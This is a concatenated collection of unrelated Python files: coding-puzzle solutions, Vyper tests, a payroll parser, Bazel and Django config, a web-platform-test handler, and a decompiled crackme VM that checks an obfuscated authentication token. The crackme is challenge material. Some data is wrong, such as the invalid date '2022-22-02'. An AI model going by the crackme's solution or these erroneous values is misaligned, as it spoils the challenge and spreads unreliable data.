Sent(msg.sender) """ c = get_contract_with_gas_estimation(code) assert_tx_failed(lambda: w3.eth.sendTransaction({"to": c.address, "value": 10 ** 17})) def test_multi_arg_default(assert_compile_failed, get_contract_with_gas_estimation): code = """ @payable @external def __default__(arg1: int128): pass """ assert_compile_failed(lambda: get_contract_with_gas_estimation(code)) def test_always_public(assert_compile_failed, get_contract_with_gas_estimation): code = """ @internal def __default__(): pass """ assert_compile_failed(lambda: get_contract_with_gas_estimation(code)) def test_always_public_2(assert_compile_failed, get_contract_with_gas_estimation): code = """ event Sent: sender: indexed(address) def __default__(): log Sent(msg.sender) """ assert_compile_failed(lambda: get_contract_with_gas_estimation(code)) def test_zero_method_id(w3, get_logs, get_contract_with_gas_estimation): code = """ event Sent: sig: uint256 @external @payable # function selector: 0x00000000 def blockHashAskewLimitary(v: uint256) -> uint256: log Sent(2) return 7 @external def __default__(): log Sent(1) """ c = get_contract_with_gas_estimation(code) assert c.blockHashAskewLimitary(0) == 7 logs = get_logs(w3.eth.sendTransaction({"to": c.address, "value": 0}), c, "Sent") assert 1 == logs[0].args.sig logs = get_logs( # call blockHashAskewLimitary w3.eth.sendTransaction({"to": c.address, "value": 0, "data": "0x00000000"}), c, "Sent", ) assert 2 == logs[0].args.sig
def parse(rows, employees): curr_row = 0 begin_row = 1 for row in rows: if curr_row < begin_row: curr_row += 1 continue reg = float(row[0]) aux_adocao = float(row[4]) #AUXÍLIO-ADOÇÃO/VERBAS INDENIZATÓRIAS aux_ali = float(row[5]) #AUXÍLIO-ALIMENTAÇÃO/VERBAS INDENIZATÓRIAS aux_saude = float(row[6]) #AUXÍLIO-SAÚDE/VERBAS INDENIZATÒRIAS aux_saude_remu = float(row[9]) #AUXÍLIO-SAÚDE/OUTRAS REMUNERAÇÕES RETROATIVAS/TEMPORÁRIAS indemnity_vacation = float(row[7]) #INDENIZAÇÃO DE FÉRIAS NÃO USUFRUÍDAS licence = float(row[8]) #INDENIZAÇÃO DE LICENÇA ESPECIAL/PRÊMIO NÃO USUFRUÍDA diff_aux = float(row[10]) #DIFERENÇAS DE AUXÍLIOS parcelas_atraso = float(row[11]) #PARCELAS PAGAS EM ATRASO emp = employees[reg] emp['income']['perks'].update({ 'total': round(aux_saude + aux_saude_remu + aux_ali, 2), 'food': aux_ali, 'health': aux_saude + aux_saude_remu, }) emp['income']['other']['others'].update({ #Auxílio educação está disposto em 2 colunas diferentes 'AUXÍLIO-ADOÇÃO': aux_adocao, 'INDENIZAÇÃO DE FÉRIAS NÃO USUFRUÍDAS': indemnity_vacation, 'INDENIZAÇÃO DE LICENÇA ESPECIAL/PRÊMIO NÃO USUFRUÍDA': licence, 'DIFERENÇAS DE AUXÍLIOS': diff_aux, 'PARCELAS PAGAS EM ATRASO': parcelas_atraso, }) emp['income']['other'].update({ 'total': round(emp['income']['other']['total'] + aux_adocao + indemnity_vacation + licence + diff_aux + parcelas_atraso, 2), 'others_total': round(emp['income']['other']['others_total'] + aux_adocao + indemnity_vacation + licence + diff_aux + parcelas_atraso , 2), }) emp['income'].update({ 'total': round(emp['income']['total'] + emp['income']['perks']['total'] + emp['income']['other']['total'], 2) }) if (rows[curr_row] == rows[-1]).all(): break curr_row += 1 return employees
""" Project Euler Problem 2 ======================= Each new term in the Fibonacci sequence is generated by adding the previous two terms. By starting with 1 and 2, the first 10 terms will be: 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, ... Find the sum of all the even-valued terms in the sequence which do not exceed four million. """ def fibonacci(limit): def fibonacci_acc(sequence, limit): if sequence[-1] + sequence[-2] <= limit: sequence.append(sequence[-1] + sequence[-2]) return fibonacci_acc(sequence, limit) else: return sequence return fibonacci_acc([1, 2], limit) sum_of_fibonaccis = sum([n for n in fibonacci(4000000) if n % 2 == 0]) print(sum_of_fibonaccis)
expansion_dates = [ ["2017-09-06", "D2 Vanilla"], ["2018-09-04", "Forsaken"], ["2019-10-01", "Shadowkeep"], ["2020-11-10", "Beyond Light"], ["2022-22-02", "Witch Queen"], ] season_dates = [ ["2017-12-05", "Curse of Osiris"], ["2018-05-08", "Warmind"], ["2018-12-04", "Season of the Forge"], ["2019-03-05", "Season of the Drifter"], ["2019-06-04", "Season of Opulence"], ["2019-12-10", "Season of Dawn"], ["2020-03-10", "Season of the Worthy"], ["2020-06-09", "Season of Arrivals"], ["2021-02-09", "Season of the Chosen"], ["2021-05-11", "Season of the Splicer"], ["2021-08-24", "Season of the Lost"], ["2021-12-07", "30th Anniversary Pack"], ]
""" Shop in Candy Store: In a candy store there are N different types of candies available and the prices of all the N different types of candies are provided to you. You are now provided with an attractive offer. You can buy a single candy from the store and get atmost K other candies ( all are different types ) for free. Now you have to answer two questions. Firstly, you have to tell what is the minimum amount of money you have to spend to buy all the N different candies. Secondly, you have to tell what is the maximum amount of money you have to spend to buy all the N different candies. In both the cases you must utilize the offer i.e. you buy one candy and get K other candies for free. Example: Input 1 4 2 3 2 1 4 Output 3 7 Explanation As according to the offer if you but one candy you can take atmost two more for free. So in the first case you buy the candy which costs 1 and take candies worth 3 and 4 for free, also you buy candy worth 2 as well. So min cost = 1+2 =3. In the second case I buy the candy which costs 4 and take candies worth 1 and 2 for free, also I buy candy worth 3 as well. So max cost = 3+4 =7. """ def min_max_candy(prices, k): idx1 = 0 idx2 = len(prices) - 1 ans = 0 free = 0 while idx1 <= idx2: ans += prices[idx1] for i in range(k): if idx2 <= idx1: break free += prices[idx2] idx2 -= 1 idx1 += 1 assert free + ans == sum(prices) return ans def main(): prices = [1, 2, 3, 4] k = 0 prices.sort() ans = min_max_candy(prices, k) print(ans) prices.reverse() ans = min_max_candy(prices, k) print(ans) main()
# Copyright 2019 The Bazel Authors. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Convenience macro for stardoc e2e tests.""" load("@bazel_skylib//:bzl_library.bzl", "bzl_library") load("//stardoc:html_tables_stardoc.bzl", "html_tables_stardoc") load("//stardoc:stardoc.bzl", "stardoc") def stardoc_test( name, input_file, golden_file, deps = [], test = "default", **kwargs): """Convenience macro for stardoc e2e test suites. Each invocation creates four targets: 1. A sh_test target which verifies that stardoc-built-from-source, when run on an input file, creates output matching the contents of a golden file, named "{name}_e2e_test". 2. A `stardoc` target which will generate a new golden file given an input file with stardoc-built-from-source. This target should be used to regenerate the golden file when updating stardoc, named "regenerate_{name}_golden". 3 & 4. Targets identical to (1) and (2) except they use the prebuilt-stardoc jar, and are named "{name}_e2e_jar_test" and "regenerate_with_jar_{name}_golden". 5. A bzl_library target for convenient wrapping of input bzl files, named "{name}_lib". Args: name: A unique name to qualify the created targets. input_file: The label string of the Starlark input file for which documentation is generated in this test. golden_file: The label string of the golden file containing the documentation when stardoc is run on the input file. deps: A list of label strings of starlark file dependencies of the input_file. test: The type of test (default or html_tables). **kwargs: A dictionary of input template names mapped to template file path for which documentation is generated. """ bzl_library( name = "%s_lib" % name, srcs = [input_file], deps = deps, ) _create_test_targets( test_name = "%s_e2e_test" % name, genrule_name = "regenerate_%s_golden" % name, lib_name = "%s_lib" % name, input_file = input_file, golden_file = golden_file, stardoc_bin = "@io_bazel//src/main/java/com/google/devtools/build/skydoc", renderer_bin = "@io_bazel//src/main/java/com/google/devtools/build/skydoc/renderer", test = test, **kwargs ) _create_test_targets( test_name = "%s_e2e_jar_test" % name, genrule_name = "regenerate_with_jar_%s_golden" % name, lib_name = "%s_lib" % name, input_file = input_file, golden_file = golden_file, stardoc_bin = "@io_bazel//src/main/java/com/google/devtools/build/skydoc", renderer_bin = "@io_bazel//src/main/java/com/google/devtools/build/skydoc/renderer", test = test, **kwargs ) def _create_test_targets( test_name, genrule_name, lib_name, input_file, golden_file, stardoc_bin, renderer_bin, test, **kwargs): actual_generated_doc = "%s.out" % genrule_name native.sh_test( name = test_name, srcs = ["diff_test_runner.sh"], args = [ "$(location %s)" % actual_generated_doc, "$(location %s)" % golden_file, ], data = [ actual_generated_doc, golden_file, ], ) if test == "default": stardoc( name = genrule_name, out = actual_generated_doc, input = input_file, deps = [lib_name], renderer = renderer_bin, stardoc = stardoc_bin, **kwargs ) elif test == "html_tables": html_tables_stardoc( name = genrule_name, out = actual_generated_doc, input = input_file, deps = [lib_name], renderer = renderer_bin, stardoc = stardoc_bin, **kwargs ) else: fail("parameter 'test' must either be 'default' or 'html_tables', but was " + test)
# https://leetcode.com/problems/best-time-to-buy-and-sell-stock/submissions/ class Solution: def maxProfit(self, prices: List[int]) -> int: if len(prices) == 0: return 0 maxProfitSoFar = 0 buy = prices[0] for i in range(1, len(prices)): cur = prices[i] curProfit = cur - buy if curProfit < 0: buy = cur continue if curProfit > maxProfitSoFar: maxProfitSoFar = curProfit return maxProfitSoFar
def Grettings(name, object): return "/******************************************************* \n"\ " * author : Raphaël KUMAR generator\n"\ " * copyright : SoFAB CC-BY-SA\n"\ " * file : "+ name +"\n"\ " * object : "+object+"\n"\ " ***/\n"
# Variables to be overriden by template_vars.mk via jinja # watch the string quoting. RUNAS = "{{MLDB_USER}}" HTTP_LISTEN_PORT = {{MLDB_LOGGER_HTTP_PORT}}
class IIDError: INTERNAL_ERROR = 'internal-error' UNKNOWN_ERROR = 'unknown-error' INVALID_ARGUMENT = 'invalid-argument' AUTHENTICATION_ERROR = 'authentication-error' SERVER_UNAVAILABLE = 'server-unavailable' ERROR_CODES = { 400: INVALID_ARGUMENT, 401: AUTHENTICATION_ERROR, 403: AUTHENTICATION_ERROR, 500: INTERNAL_ERROR, 503: SERVER_UNAVAILABLE }
PATH_TO_DATASET = "houseprice.csv" TARGET = 'SalePrice' CATEGORICAL_TO_IMPUTE = ['MasVnrType', 'BsmtQual', 'BsmtExposure', 'FireplaceQu', 'GarageType', 'GarageFinish'] NUMERICAL_TO_IMPUTE = ['LotFrontage'] YEAR_VARIABLE = 'YearRemodAdd' NUMERICAL_LOG = ['LotFrontage', '1stFlrSF', 'GrLivArea', 'SalePrice'] CATEGORICAL_ENCODE = ['MSZoning', 'Neighborhood', 'RoofStyle', 'MasVnrType', 'BsmtQual', 'BsmtExposure', 'HeatingQC', 'CentralAir', 'KitchenQual', 'FireplaceQu', 'GarageType', 'GarageFinish', 'PavedDrive'] FEATURES = ['MSSubClass', 'MSZoning', 'Neighborhood', 'OverallQual', 'OverallCond', 'YearRemodAdd', 'RoofStyle', 'MasVnrType', 'BsmtQual', 'BsmtExposure', 'HeatingQC', 'CentralAir', '1stFlrSF', 'GrLivArea', 'BsmtFullBath', 'KitchenQual', 'Fireplaces', 'FireplaceQu', 'GarageType', 'GarageFinish', 'GarageCars', 'PavedDrive', 'LotFrontage']
def __main(): bulk = [1, 2, 3, 4, 5,] #题目信息 weight = [4, 2, 1, 3, 5,] value = [5, 3, 2, 6, 8,] cw = 10 cb = 9 n = len(weight) m = [ [[0]*cw for j in range(cb)] #三维数组[n][bulk][weight] for i in range(n) ] tk(weight, bulk, value, m, n-1, cw, cb) print(Trackback(m, n, weight, bulk, cw, cb)) def tk(w,b,v,m, n,cw,cb,): ##放置物品为第n个时 maxew = min(w[n]-1, cw) maxeb = min(b[n]-1, cb) for j in range( maxeb ): for k in range( maxew ): m[n][j][k] = 0 for j in range(maxeb, cb): for k in range(maxew, cw): m[n][j][k] = v[n] #放置物品为n-1~0 for i in range(n-1,-1,-1): maxew = min(w[i]-1, cw) maxeb = min(b[i]-1, cb) for j in range( cb ): #刷一下不被更改的数据 for k in range( cw ): m[i][j][k] =m[i+1][j][k] for j in range(maxeb, cb): for k in range(maxew, cw): if j - b[i] < 0: #有一个小bug j_bi = 0 else: j_bi = j - b[i] if k - w[i] < 0: k_wi = 0 else: k_wi = k - w[i] m[i][j][k] = max(m[i+1][j][k], m[i+1][j_bi][k_wi]+v[i] ) def Trackback(m, n, w, b, cw, cb): j = cb -1 k = cw -1 x = [] for i in range(n-1): if m[i][j][k] == m[i+1][j][k]: continue else: x.append(i) j -=b[i] k -=w[i] if m[i+1][j][k] > 0: x.append(i) return x __main()
""" Implements a solution to the compare lists Hackerrank problem. https://www.hackerrank.com/challenges/compare-two-linked-lists/problem """ __author__ = "Jacob Richardson" def compare_lists(llist1, llist2): """ Compares two singly linked list to determine if they are equal.""" # If list 1 is empty and list 2 is not empty. if not llist1 and llist2: # Return zero because the lists are not equal. return 0 # If list 2 is empty and list 1 is not empty. if not llist2 and llist1: # Return zero because the lists are not equal. return 0 # Set node 1 equal to the head of list 1. node1 = llist1 # Set node 2 equal to the head of list 2. node2 = llist2 # While node 1 and node 2 are truthy. while node1 and node2: # If the data in each node is not equal. if node1.data != node2.data: # Return zero because the lists are not equal. return 0 # If list 1 has a next node and list 2 does not. if node1.next and not node2.next: # Return zero because the lists are not equal. return 0 # If list 2 has a next node and list 1 does not. if node2.next and not node1.next: # Return zero because the lists are not equal. return 0 # Set node 1 equal to the next node. node1 = node1.next # Set node 2 equal to the next node. node2 = node2.next # Return 1 denoting they are equal. return 1
############################################################################################### # 堆优化 + 遍历 ########### # 时间复杂度:O(n) # 空间复杂度:O(n) ############################################################################################### class Solution: def getNumberOfBacklogOrders(self, orders: List[List[int]]) -> int: buy = [] sell = [] amount_buy = amount_sell = 0 mod = int(1e9 + 7) for price, amount, orderType in orders: if orderType == 0: # 买 while amount and sell and sell[0][0] <= price: if amount < sell[0][1]: # 买够了 sell[0][1] -= amount amount_sell -= amount amount -= amount # 所需amount清0 elif amount == sell[0][1]: # 正好买完 amount_sell -= sell[0][1] amount -= amount # 所需amount清0 heapq.heappop(sell) else: # 不够买 amount_sell -= sell[0][1] amount -= sell[0][1] # 不够买,看下一家 heapq.heappop(sell) if amount: # 如果还没买够 heapq.heappush(buy, [-price, amount]) amount_buy += amount else: # 卖 while amount and buy and -buy[0][0] >= price: if amount < buy[0][1]: # 全部卖完 buy[0][1] -= amount amount_buy -= amount amount -= amount # 要卖amount清0 elif amount == buy[0][1]: # 正好卖完 amount_buy -= buy[0][1] amount -= amount # 要卖amount清0 heapq.heappop(buy) else: # 还没卖完 amount_buy -= buy[0][1] amount -= buy[0][1] # 不够卖,看下一家 heapq.heappop(buy) if amount: heapq.heappush(sell, [price, amount]) amount_sell += amount return (amount_sell + amount_buy) % mod
def get_questions_and_media_attributes(json): questions=[] media_attributes=[] def parse_repeat(r_object): r_question = r_object['name'] for first_children in r_object['children']: question = r_question+"/"+first_children['name'] if first_children['type'] in ['photo', 'audio', 'video']: media_attributes.append(question) questions.append({'question':question, 'label':first_children.get('label', question), 'type':first_children.get('type', '')}) def parse_group(prev_groupname, g_object): g_question = prev_groupname+g_object['name'] for first_children in g_object['children']: question_name = first_children['name'] question_type = first_children['type'] if question_type == 'group': parse_group(g_question+"/",first_children) continue question = g_question+"/"+first_children['name'] if question_type in ['photo', 'audio', 'video']: media_attributes.append(question) questions.append({'question':question, 'label':first_children.get('label', question), 'type':first_children.get('type', '')}) def parse_individual_questions(parent_object): for first_children in parent_object: if first_children['type'] == "repeat": parse_repeat(first_children) elif first_children['type'] == 'group': parse_group("",first_children) else: question = first_children['name'] if first_children['type'] in ['photo', 'video', 'audio']: media_attributes.append(question) questions.append({'question':question, 'label':first_children.get('label', question), 'type':first_children.get('type', '')}) parse_individual_questions(json) return {'questions':questions, 'media_attributes':media_attributes}
# Source Generated with Decompyle++ # File: 3nohtyp.pyc (Python 3.6) def run_vm(instructions): pc = 0 굿 = 0 regs = [0] * 2 ** (2 * 2) mem = [0] * 100 jmplist = [] while instructions[pc][0] != '\xeb\x93\x83': ope = instructions[pc][0].lower() operand = instructions[pc][1:] if ope == '\xeb\x89\x83': regs[operand[0]] = regs[operand[1]] + regs[operand[2]] elif ope == '\xeb\xa0\x80': regs[operand[0]] = regs[operand[1]] ^ regs[operand[2]] elif ope == '\xeb\xa0\xb3': regs[operand[0]] = regs[operand[1]] - regs[operand[2]] elif ope == '\xeb\x83\x83': regs[operand[0]] = regs[operand[1]] * regs[operand[2]] elif ope == '\xeb\xa2\xaf': regs[operand[0]] = regs[operand[1]] / regs[operand[2]] elif ope == '\xeb\xa5\x87': regs[operand[0]] = regs[operand[1]] & regs[operand[2]] elif ope == '\xeb\xa7\xb3': regs[operand[0]] = regs[operand[1]] | regs[operand[2]] elif ope == '\xea\xb4\xa1': regs[operand[0]] = regs[operand[0]] elif ope == '\xeb\xab\x87': regs[operand[0]] = regs[operand[1]] elif ope == '\xea\xbc\x96': regs[operand[0]] = operand[1] elif ope == '\xeb\xab\xbb': mem[operand[0]] = regs[operand[1]] elif ope == '\xeb\x94\x93': regs[operand[0]] = mem[operand[1]] elif ope == '\xeb\x8c\x92': regs[operand[0]] = 0 elif ope == '\xeb\xac\x87': mem[operand[0]] = 0 elif ope == '\xeb\xac\x9f': regs[operand[0]] = input(regs[operand[1]]) elif ope == '\xea\xbd\xba': mem[operand[0]] = input(regs[operand[1]]) elif ope == '\xeb\x8f\xaf': print(regs[operand[0]]) elif ope == '\xeb\xad\x97': print(mem[operand[0]]) elif ope == '\xeb\xad\xbf': pc = regs[operand[0]] elif ope == '\xeb\xae\x93': pc = mem[operand[0]] elif ope == '\xeb\xae\xb3': pc = jmplist.pop() elif ope == '\xeb\xaf\x83' and regs[operand[1]] > regs[operand[2]]: pc = operand[0] jmplist.append(pc) continue elif ope == '\xea\xbd\xb2': regs[7] = 0 for i in range(len(regs[operand[0]])): if regs[operand[0]] != regs[operand[1]]: regs[7] = 1 pc = regs[operand[2]] jmplist.append(pc) elif ope == '\xea\xbe\xae': 괢 = '' for i in range(len(regs[operand[0]])): 괢 += chr(ord(regs[operand[0]][i]) ^ regs[operand[1]]) regs[operand[0]] = 괢 elif ope == '\xea\xbf\x9a': 괢 = '' for i in range(len(regs[operand[0]])): 괢 += chr(ord(regs[operand[0]][i]) - regs[operand[1]]) regs[operand[0]] = 괢 elif ope == '\xeb\x96\x87' and regs[operand[1]] > regs[operand[2]]: pc = regs[operand[0]] jmplist.append(pc) continue elif ope == '\xeb\x97\x8b' and regs[operand[1]] > regs[operand[2]]: pc = mem[operand[0]] jmplist.append(pc) continue elif ope == '\xeb\x98\xb7' and regs[operand[1]] == regs[operand[2]]: pc = operand[0] jmplist.append(pc) continue elif ope == '\xeb\x9a\xab' and regs[operand[1]] == regs[operand[2]]: pc = regs[operand[0]] jmplist.append(pc) continue elif ope == '\xeb\x9d\x87' and regs[operand[1]] == regs[operand[2]]: pc = mem[operand[0]] jmplist.append(pc) continue pc += 1 run_vm([ [ '\xea\xbc\x96', 0, 'Authentication token: '], [ '\xea\xbd\xba', 0, 0], [ '\xea\xbc\x96', 6, '\xc3\xa1\xc3\x97\xc3\xa4\xc3\x93\xc3\xa2\xc3\xa6\xc3\xad\xc3\xa4\xc3\xa0\xc3\x9f\xc3\xa5\xc3\x89\xc3\x9b\xc3\xa3\xc3\xa5\xc3\xa4\xc3\x89\xc3\x96\xc3\x93\xc3\x89\xc3\xa4\xc3\xa0\xc3\x93\xc3\x89\xc3\x96\xc3\x93\xc3\xa5\xc3\xa4\xc3\x89\xc3\x93\xc3\x9a\xc3\x95\xc3\xa6\xc3\xaf\xc3\xa8\xc3\xa4\xc3\x9f\xc3\x99\xc3\x9a\xc3\x89\xc3\x9b\xc3\x93\xc3\xa4\xc3\xa0\xc3\x99\xc3\x94\xc3\x89\xc3\x93\xc3\xa2\xc3\xa6\xc3\x89\xc3\xa0\xc3\x93\xc3\x9a\xc3\x95\xc3\x93\xc3\x92\xc3\x99\xc3\xa6\xc3\xa4\xc3\xa0\xc3\x89\xc3\xa4\xc3\xa0\xc3\x9f\xc3\xa5\xc3\x89\xc3\x9f\xc3\xa5\xc3\x89\xc3\xa4\xc3\xa0\xc3\x93\xc3\x89\xc3\x9a\xc3\x93\xc3\xa1\xc3\x89\xc2\xb7\xc3\x94\xc3\xa2\xc3\x97\xc3\x9a\xc3\x95\xc3\x93\xc3\x94\xc3\x89\xc2\xb3\xc3\x9a\xc3\x95\xc3\xa6\xc3\xaf\xc3\xa8\xc3\xa4\xc3\x9f\xc3\x99\xc3\x9a\xc3\x89\xc3\x85\xc3\xa4\xc3\x97\xc3\x9a\xc3\x94\xc3\x97\xc3\xa6\xc3\x94\xc3\x89\xc3\x97\xc3\x9a\xc3\xaf\xc3\xa1\xc3\x97\xc3\xaf\xc3\xa5\xc3\x89\xc3\x9f\xc3\x89\xc3\x94\xc3\x99\xc3\x9a\xc3\xa4\xc3\x89\xc3\xa6\xc3\x93\xc3\x97\xc3\x9c\xc3\x9c\xc3\xaf\xc3\x89\xc3\xa0\xc3\x97\xc3\xa2\xc3\x93\xc3\x89\xc3\x97\xc3\x89\xc3\x91\xc3\x99\xc3\x99\xc3\x94\xc3\x89\xc3\xa2\xc3\x9f\xc3\x94\xc3\x89\xc3\x96\xc3\xa3\xc3\xa4\xc3\x89\xc3\x9f\xc3\x89\xc3\xa6\xc3\x93\xc3\x97\xc3\x9c\xc3\x9c\xc3\xaf\xc3\x89\xc3\x93\xc3\x9a\xc3\x9e\xc3\x99\xc3\xaf\xc3\x89\xc3\xa4\xc3\xa0\xc3\x9f\xc3\xa5\xc3\x89\xc3\xa5\xc3\x99\xc3\x9a\xc3\x91\xc3\x89\xc3\x9f\xc3\x89\xc3\xa0\xc3\x99\xc3\xa8\xc3\x93\xc3\x89\xc3\xaf\xc3\x99\xc3\xa3\xc3\x89\xc3\xa1\xc3\x9f\xc3\x9c\xc3\x9c\xc3\x89\xc3\x93\xc3\x9a\xc3\x9e\xc3\x99\xc3\xaf\xc3\x89\xc3\x9f\xc3\xa4\xc3\x89\xc3\x97\xc3\xa5\xc3\xa1\xc3\x93\xc3\x9c\xc3\x9c\xc2\x97\xc3\x89\xc3\xaf\xc3\x99\xc3\xa3\xc3\xa4\xc3\xa3\xc3\x96\xc3\x93\xc2\x9a\xc3\x95\xc3\x99\xc3\x9b\xc2\x99\xc3\xa1\xc3\x97\xc3\xa4\xc3\x95\xc3\xa0\xc2\xa9\xc3\xa2\xc2\xab\xc2\xb3\xc2\xa3\xc3\xaf\xc2\xb2\xc3\x95\xc3\x94\xc3\x88\xc2\xb7\xc2\xb1\xc3\xa2\xc2\xa8\xc3\xab'], [ '\xea\xbc\x96', 2, 2 ** (3 * 2 + 1) - 2 ** (2 + 1)], [ '\xea\xbc\x96', 4, 15], [ '\xea\xbc\x96', 3, 1], [ '\xeb\x83\x83', 2, 2, 3], [ '\xeb\x89\x83', 2, 2, 4], [ '\xea\xb4\xa1', 0, 2], [ '\xeb\x8c\x92', 3], [ '\xea\xbe\xae', 6, 3], [ '\xea\xbc\x96', 0, 'Thanks.'], [ '\xea\xbc\x96', 1, 'Authorizing access...'], [ '\xeb\x8f\xaf', 0], [ '\xeb\x94\x93', 0, 0], [ '\xea\xbe\xae', 0, 2], [ '\xea\xbf\x9a', 0, 4], [ '\xea\xbc\x96', 5, 19], [ '\xea\xbd\xb2', 0, 6, 5], [ '\xeb\x8f\xaf', 1], [ '\xeb\x93\x83'], [ '\xea\xbc\x96', 1, 'Access denied!'], [ '\xeb\x8f\xaf', 1], [ '\xeb\x93\x83']])
'''Elabore um programa que permita a entrada de dois valores ( x, y ), troque seus valores entre si e então exiba os novos resultados.''' num1 = int(input('Informe um valor: ')) num2 = int(input('Informe outro valor: ')) print(num1, num2) num1, num2 = num2, num1 print(num1, num2)
def main(request, response): coop = request.GET.first("coop") coep = request.GET.first("coep") redirect = request.GET.first("redirect", None) if coop != "": response.headers.set("Cross-Origin-Opener-Policy", coop) if coep != "": response.headers.set("Cross-Origin-Embedder-Policy", coep) if 'cache' in request.GET: response.headers.set('Cache-Control', 'max-age=3600') if redirect != None: response.status = 302 response.headers.set("Location", redirect) return # This uses an <iframe> as BroadcastChannel is same-origin bound. response.content = """ <!doctype html> <meta charset=utf-8> <script src="/common/get-host-info.sub.js"></script> <body></body> <script> const params = new URL(location).searchParams; const navHistory = params.get("navHistory"); const avoidBackAndForth = params.get("avoidBackAndForth"); const navigate = params.get("navigate"); // Need to wait until the page is fully loaded before navigating // so that it creates a history entry properly. const fullyLoaded = new Promise((resolve, reject) => { addEventListener('load', () => { requestAnimationFrame(() => { requestAnimationFrame(() => { resolve(); }); }); }); }); if (navHistory !== null) { fullyLoaded.then(() => { history.go(Number(navHistory)); }); } else if (navigate !== null && (history.length === 1 || !avoidBackAndForth)) { fullyLoaded.then(() => { self.location = navigate; }); } else { let openerDOMAccessAllowed = false; try { openerDOMAccessAllowed = !!self.opener.document.URL; } catch(ex) { } // Handle the response from the frame, closing the popup once the // test completes. addEventListener("message", event => { if (event.data == "close") { close(); } }); iframe = document.createElement("iframe"); iframe.onload = () => { const payload = { name: self.name, opener: !!self.opener, openerDOMAccess: openerDOMAccessAllowed }; iframe.contentWindow.postMessage(payload, "*"); }; const channelName = new URL(location).searchParams.get("channel"); iframe.src = `${get_host_info().HTTPS_ORIGIN}/html/cross-origin-opener-policy/resources/postback.html?channel=${channelName}`; document.body.appendChild(iframe); } </script> """
AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ]
""" https://www.codewars.com/kata/57faefc42b531482d5000123 Given a string, remove all exclamation marks from the string, except for a ! if it exists at the very end. remove("Hi!") == "Hi!" remove("Hi!!!") == "Hi!!!" remove("!Hi") == "Hi" remove("!Hi!") == "Hi!" remove("Hi! Hi!") == "Hi Hi!" remove("Hi") == "Hi" """ def remove(s): output = '' allowed = True for i in range(len(s)-1, -1, -1): if s[i] == '!' and allowed: output = s[i] + output elif s[i] != '!': output = s[i] + output allowed = False return(output) print(remove("Hi!")) print(remove("Hi")) print(remove("!Hi")) print(remove("Hi! Hi!")) print(remove("Hi!!!")) # Another person's solution: def remove2(s): return s.replace('!', '') + '!'*(len(s) - len(s.rstrip('!'))) print(remove2("Hi!")) print(remove2("Hi")) print(remove2("!Hi")) print(remove2("Hi! Hi!")) print(remove2("Hi!!!"))
# coding: utf-8 """***************************************************************************** * Copyright (C) 2021 Microchip Technology Inc. and its subsidiaries. * * Subject to your compliance with these terms, you may use Microchip software * and any derivatives exclusively with Microchip products. It is your * responsibility to comply with third party license terms applicable to your * use of third party software (including open source software) that may * accompany Microchip software. * * THIS SOFTWARE IS SUPPLIED BY MICROCHIP "AS IS". NO WARRANTIES, WHETHER * EXPRESS, IMPLIED OR STATUTORY, APPLY TO THIS SOFTWARE, INCLUDING ANY IMPLIED * WARRANTIES OF NON-INFRINGEMENT, MERCHANTABILITY, AND FITNESS FOR A * PARTICULAR PURPOSE. * * IN NO EVENT WILL MICROCHIP BE LIABLE FOR ANY INDIRECT, SPECIAL, PUNITIVE, * INCIDENTAL OR CONSEQUENTIAL LOSS, DAMAGE, COST OR EXPENSE OF ANY KIND * WHATSOEVER RELATED TO THE SOFTWARE, HOWEVER CAUSED, EVEN IF MICROCHIP HAS * BEEN ADVISED OF THE POSSIBILITY OR THE DAMAGES ARE FORESEEABLE. TO THE * FULLEST EXTENT ALLOWED BY LAW, MICROCHIP'S TOTAL LIABILITY ON ALL CLAIMS IN * ANY WAY RELATED TO THIS SOFTWARE WILL NOT EXCEED THE AMOUNT OF FEES, IF ANY, * THAT YOU HAVE PAID DIRECTLY TO MICROCHIP FOR THIS SOFTWARE. *****************************************************************************""" ################################################################################ #### Call-backs #### ################################################################################ #Update Symbol Visibility def setClassB_SymbolVisibility(MySymbol, event): MySymbol.setVisible(event["value"]) ################################################################################ #### Component #### ################################################################################ def instantiateComponent(classBComponent): configName = Variables.get("__CONFIGURATION_NAME") classBMenu = classBComponent.createMenuSymbol("CLASSB_MENU", None) classBMenu.setLabel("Class B Startup Test Configuration") execfile(Module.getPath() +"/config/interface.py") print("Test Module: Harmony Class B Library") #Device params #classBFlashNode = ATDF.getNode("/avr-tools-device-file/devices/device/address-spaces/address-space/memory-segment@[name=\"FLASH\"]") classBFlashNode = ATDF.getNode("/avr-tools-device-file/devices/device/address-spaces/address-space/memory-segment@[name=\"code\"]") if classBFlashNode != None: #Flash size classB_FLASH_SIZE = classBComponent.createIntegerSymbol("CLASSB_FLASH_SIZE", None) classB_FLASH_SIZE.setVisible(False) classB_FLASH_SIZE.setDefaultValue(int(classBFlashNode.getAttribute("size"), 16)) #classB_FLASH_SIZE.setDefaultValue(0) print("Test Module: Harmony Class B Library") classBSRAMNode = ATDF.getNode("/avr-tools-device-file/devices/device/address-spaces/address-space/memory-segment@[name=\"kseg0_data_mem\"]") #classBSRAMNode = ATDF.getNode("/avr-tools-device-file/devices/device/address-spaces/address-space/memory-segment@[name=\"HSRAM\"]") print("Test Module: Harmony Class B Library") if classBSRAMNode != None: #SRAM size classB_SRAM_SIZE = classBComponent.createIntegerSymbol("CLASSB_SRAM_SIZE", None) classB_SRAM_SIZE.setVisible(False) classB_SRAM_SIZE.setDefaultValue(int(classBSRAMNode.getAttribute("size"), 16)) #classB_SRAM_SIZE.setDefaultValue(0) #SRAM address classB_SRAM_ADDR = classBComponent.createHexSymbol("CLASSB_SRAM_START_ADDRESS", None) classB_SRAM_ADDR.setVisible(False) classB_SRAM_ADDR.setDefaultValue(int(classBSRAMNode.getAttribute("start"), 16) + (0xA0000000)) #classB_SRAM_SIZE.setDefaultValue(0) #SRAM address MSB 24 bits classB_SRAM_START_MSB = 